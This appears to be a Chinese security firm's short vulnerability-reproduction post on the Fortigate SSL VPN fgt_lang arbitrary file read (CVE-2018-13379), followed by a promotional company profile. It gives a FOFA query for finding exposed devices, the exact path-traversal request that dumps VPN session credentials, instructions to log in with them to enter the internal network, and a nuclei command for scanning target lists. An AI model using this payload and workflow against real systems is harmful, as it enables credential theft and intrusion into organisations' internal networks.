漏洞复现 Fortigate SSL VPN fgt_lang 任意文件读取

0x01 漏洞描述

Fortinet将其SSL VPN产品线称为Fortigate SSL VPN,主要应用于最终用户以及中型企业。目前互联网上这些服务器的数量已超过48万台,主要集中在亚洲及欧洲区域。FortinetSSL VPN系统存在任意文件读取漏洞，攻击者通过漏洞可以通过VPN进入内网，导致内网失陷。

0x02 漏洞复现

fofa：app="FORTINET-SSLVPN"

1.执行POC，得到VPN账号密码

/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

2.根据账号密码登录即可（需要下载客户端）

3.nuclei验证脚本已经自带，如下

nuclei.exe -t /http/cves/2018/CVE-2018-13379.yaml -l subs.txt -stats

0x03 公司简介

江西渝融云安全科技有限公司，2017年发展至今，已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司，是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证，拥有软件著作权十八项；荣获2020年全国工控安全深度行安全攻防对抗赛三等奖；庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制：sm

审核：fjh

审核：Dog

原文始发于微信公众号（融云攻防实验室）：漏洞复现 Fortigate SSL VPN fgt_lang 任意文件读取